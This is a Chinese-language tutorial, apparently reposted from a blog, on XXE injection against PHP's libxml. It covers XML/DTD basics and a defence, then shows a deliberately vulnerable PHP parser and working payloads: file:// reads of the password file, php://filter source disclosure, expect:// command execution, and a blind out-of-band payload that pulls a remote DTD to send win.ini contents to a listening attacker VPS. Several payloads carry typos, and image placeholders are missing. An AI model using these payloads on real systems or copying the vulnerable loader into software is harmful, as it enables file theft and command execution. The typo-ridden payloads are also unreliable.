簡單來說,XXE(XML External Entity Injection)就是XML外部實體注入。
當允許引用外部實體時,通過構造惡意内容,就可能導緻任意檔案讀取、系統指令執行、内網端口探測、攻擊内網網站等危害。
例如,如果你目前使用的程式為PHP,則可以将libxml_disable_entity_loader設定為TRUE來禁用外部實體,進而起到防禦的目的。
一、xml基礎
XML用于标記電子檔案使其具有結構性的标記語言,可以用來标記資料、定義資料類型,是一種允許使用者對自己的标記語言進行定義的源語言。
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD(文檔類型定義)
DTD(文檔類型定義)的作用是定義 XML 文檔的合法構模組化塊。DTD 可以在 XML 文檔内聲明,也可以外部引用。
内部聲明:
1
外部聲明(引用外部DTD):
1
DTD實體
DTD實體是用于定義引用普通文本或特殊字元的快捷方式的變量,可以内部聲明或外部引用。
内部實體聲明:<!ENTITY 實體名稱 "實體的值">
1
外部實體聲明:<!ENTITY 實體名稱 SYSTEM "URI">
1
二、漏洞原理
XML檔案的解析依賴libxml庫,而libxml2.9以前的版本預設支援并開啟了外部實體的引用,服務端解析使用者送出的xml檔案時未對xml檔案引用的外部實體做合适的處理,并且實體的URL支援file://和php://等協定,攻擊者可以在xml檔案中聲明URI指向伺服器本地的實體造成攻擊。
三、攻擊方式
xml外部實體注入,需要引入外部實體,方式有很多種。此處我們使用vuln漏洞環境中的php_xxe進行示範:
運作環境:
php 7.0.30
libxml 2.8.0
1、讀取任意檔案
(1)使用file協定
<?php
// 漏洞代碼
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///tc/passwd">]>
<root>
<name>&xxe;</name>
</root>
運作SimpleXmlElement.php(在該php中,使用SimpleXmlElement類解析body)
使用burp攔截進行注入,響應如下:
(2)使用php協定
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>
運作SimpleXmlElement.php,使用burp攔截進行注入,擷取index.php頁面内容的base64編碼。響應如下:
2、執行系統指令
在特殊的配置環境下,如PHP環境中PHP的expect子產品被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行指令。
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
在此環境中沒有安裝expect擴充,我們就不示範這個了。
在xxe存在一個無回先漏洞時 此時該如何利用?
構造一個請求包發送給伺服器
1.該請求包指令server去讀取特定
檔案的内容
2.讓伺服器将讀取的内容轉發給
監聽的vps(kali linux)
3伺服器做了2件事情:
第一件事情是讀取特定檔案的内容
第二件事情将讀取到的内容轉發到vps(kali
xxe無回顯利用概念
第一步
vps監聽特定端口
第二步
轉發問題
将fle變量的值轉發到kali linux(vps)對應192.168.4.130下的
監聽的1234,該端口剛剛由nc-vp12335監聽
xxe 無回顯如何利用重中之重
payoal:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=C:/phpStudy/WWW/yui/bihuo.txt"> ]>
<creds>&goodies;</creds>
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.localhost.com/haha/xxe.dtd">
%dtd;
%send;
]>
參考文章 原文連結:https://blog.csdn.net/m0_37711941/article/details/88388097